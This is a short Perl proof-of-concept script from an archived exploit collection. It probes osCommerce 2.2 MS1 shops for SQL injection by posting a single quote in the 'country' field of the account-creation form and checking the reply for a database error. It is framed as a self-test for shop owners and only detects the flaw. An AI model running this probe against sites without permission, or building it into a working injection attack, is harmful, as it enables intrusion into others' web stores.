home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / oscommerce / ossqlin.txt < prev   
Text File  |  2005-02-12  |  1KB  |  55 lines

  1. #!/usr/bin/perl
  2. ############################################################################
  3. # osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]
  4. ############################################################################
  5.  
  6. use LWP::UserAgent;
  7.  
  8. ############################################################################
  9. # Use this script to test if your shop is vulnerable. Results are obvious :)
  10. ############################################################################
  11.  
  12. $ua = new LWP::UserAgent;
  13. $ua->agent("Mozilla/4.0" . $ua->agent);
  14.  
  15. if (!$ARGV[0]) {
  16.     &usage;
  17. }
  18.  
  19. $host=$ARGV[0];
  20.  
  21. print "Trying $host ....\n";
  22.  
  23. my $req = new HTTP::Request POST => "http://$host/create_account_process.php";
  24.    $req->content_type('application/x-www-form-urlencoded');
  25.    $req->content("action=process&country=%27");
  26. my $res = $ua->request($req); 
  27. $pattern = "You have an error in your SQL syntax";  
  28. $_ = $res->content;
  29.  
  30. print "\n" x 3;
  31.  
  32. if (/$pattern/) {
  33. print "Host Is Vulnerable!\n";
  34. print "Download The Latest osCommerce ...\n";
  35. print "http://www.oscommerce.com/downloads\n";
  36. } else {
  37. print "Host NOT Vulnerable\n";
  38. }
  39.  
  40. print "\n" x 3;
  41.  
  42. exit;
  43.  
  44. sub usage {
  45.  
  46. print "osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]\n";
  47. print "--------------------------------------------------------------------------\n";
  48. print "perl ossqlin.pl \"path to shop\" ex: ossqlin.pl www.mywebstore.com/catalog\n";
  49.  
  50. exit;
  51.  
  52. }
  53.  
  54.  
  55.